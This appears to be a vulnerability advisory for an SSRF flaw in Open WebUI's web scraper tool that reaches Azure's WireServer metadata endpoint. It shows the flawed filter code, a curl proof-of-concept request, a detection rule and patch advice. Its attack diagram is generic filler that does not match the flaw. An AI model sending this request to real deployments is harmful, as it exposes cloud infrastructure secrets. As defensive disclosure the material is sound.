Skip to content

CVE-2026-87999: Open WebUI Azure WireServer Metadata Filter Bypass SSRF

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: Open WebUI Platform (open_webui/apps/webui/routers/tools.py (Web Scraper Tool))
Confidence: 98%
87 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 17 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 18 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 8.6 (High). Hermes Threat Score assesses it at 87 (HIGH). Because Open WebUI instances are frequently hosted on cloud Kubernetes or Azure Virtual Machines with attached Managed Identities, exfiltrating the Azure WireServer metadata compromises infrastructure secrets.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-87999: Open WebUI Azure WireServer Metadata Filter Bypass SSRFVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTOpen WebUI Platform
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Open WebUI Platform documented in Hermes dossier.”

Supporting Verified Evidence:

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-87999Frontier AI / MCP Threat Landscape
Target ProductOpen WebUI PlatformOpen WebUI Community
Subsystem / Componentopen_webui/apps/webui/routers/tools.py (Web Scraper Tool)Autonomous agent tool & orchestration stack
Flaw TypeCWE-918: Server-Side Request Forgery (SSRF)Execution and integrity violation
Affected Versionsall versions prior to 0.5.18Production deployments
Remediation Release0.5.18Immediate upgrade required

The SSRF filter in open_webui/apps/webui/routers/tools.py checked:

def is_safe_ip(ip_str):
ip = ipaddress.ip_address(ip_str)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
# Explicitly blacklisted metadata endpoints
if str(ip) in ["169.254.169.254", "metadata.google.internal"]:
return False
return True

The Azure WireServer IP 168.63.129.16 is a public routable IPv4 block allocated to Microsoft, meaning ip.is_private evaluates to False. Requests destined to http://168.63.129.16/machine?comp=inGuest&type=manifest bypassed validation completely.

+----------------------------------------------------------------------------------------------------+
| CVE-2026-87999 ATTACK LIFECYCLE FLOW |
+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection]
│
│ [1] Dispatches payload targeting tool interface or orchestration hook
▼
[Open WebUI Platform]
│
├───► 1. Ingestion via open_webui/apps/webui/routers/tools.py (Web Scraper Tool)
│ - Inadequate sanitization or permission callback failure
│
├───► 2. Execution / State Mutation
│ - Escapes sandbox / bypasses read-only guard / executes OS command
│
▼
[Impacted Target Infrastructure]
│
└───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

Terminal window
# PoC: Querying Open WebUI to scrape Azure WireServer manifest
curl -X POST "https://openwebui.corp.azure/api/v1/tools/web_search" \
-H "Content-Type: application/json" \
-d '{
"url": "http://168.63.129.16/machine?comp=inGuest&type=manifest"
}'

title: Open WebUI Azure WireServer SSRF Query
id: 87999c01-e999-4a1b-8f22-openwebuissrf01
status: high
description: Detects outbound HTTP requests originating from Open WebUI containers destined for the Azure WireServer IP 168.63.129.16.
author: Hermes Codex Detection Engineering
date: 2026-09-06
logsource:
category: network_connection
product: linux
detection:
selection:
DestinationIp: '168.63.129.16'
ProcessName|endswith:
- 'python'
- 'uvicorn'
condition: selection
level: high

  1. Apply Software Patches: Upgrade Open WebUI Platform to version(s) 0.5.18 immediately.
  2. Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
  3. Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
  4. Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.